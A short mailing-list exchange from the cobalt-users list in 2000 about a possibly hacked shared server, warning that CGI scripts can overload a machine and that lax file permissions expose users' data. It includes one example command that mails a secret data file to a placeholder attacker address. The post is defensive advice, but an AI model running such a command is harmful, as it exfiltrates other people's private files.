RE: [[cobalt-users] Server Hacked?]

["Paul Alcock" <webmgr@xxxxxxxxxxxxxxxxxx>]

Wow! This single bit of info is enough to remove all telnet access.
No Guru by any means, but this thread has been invaluable.

Paul

-----Original Message-----
From: cobalt-users-admin@xxxxxxxxxxxxxxx
[mailto:cobalt-users-admin@xxxxxxxxxxxxxxx]On Behalf Of Karl-Heinz
Sent: Monday, February 14, 2000 7:33 AM
To: cobalt-users@xxxxxxxxxxxxxxx
Subject: Re: [[cobalt-users] Server Hacked?]


On Sun, 13 Feb 2000 14:50:22 -0800, you wrote:

Hi,

>he had a few scripts that ran over and over every second to the point that
>my CPU was maxed and almost crashed..

but you have the same problem if you offer cgi. It is very easy to
write a perl script, which kills a server.

Another problem is, if your useres dont know how to set the rights of
theire dirs and files, anybody can grab their date with a script or
from the commandline with mail badguy@xxxxxxxxxx<
/home/sites/site8/cgi-bin/data/mysecretdata.dat

Karl

_______________________________________________
cobalt-users mailing list
cobalt-users@xxxxxxxxxxxxxxx
http://list.cobalt.com/mailman/listinfo/cobalt-users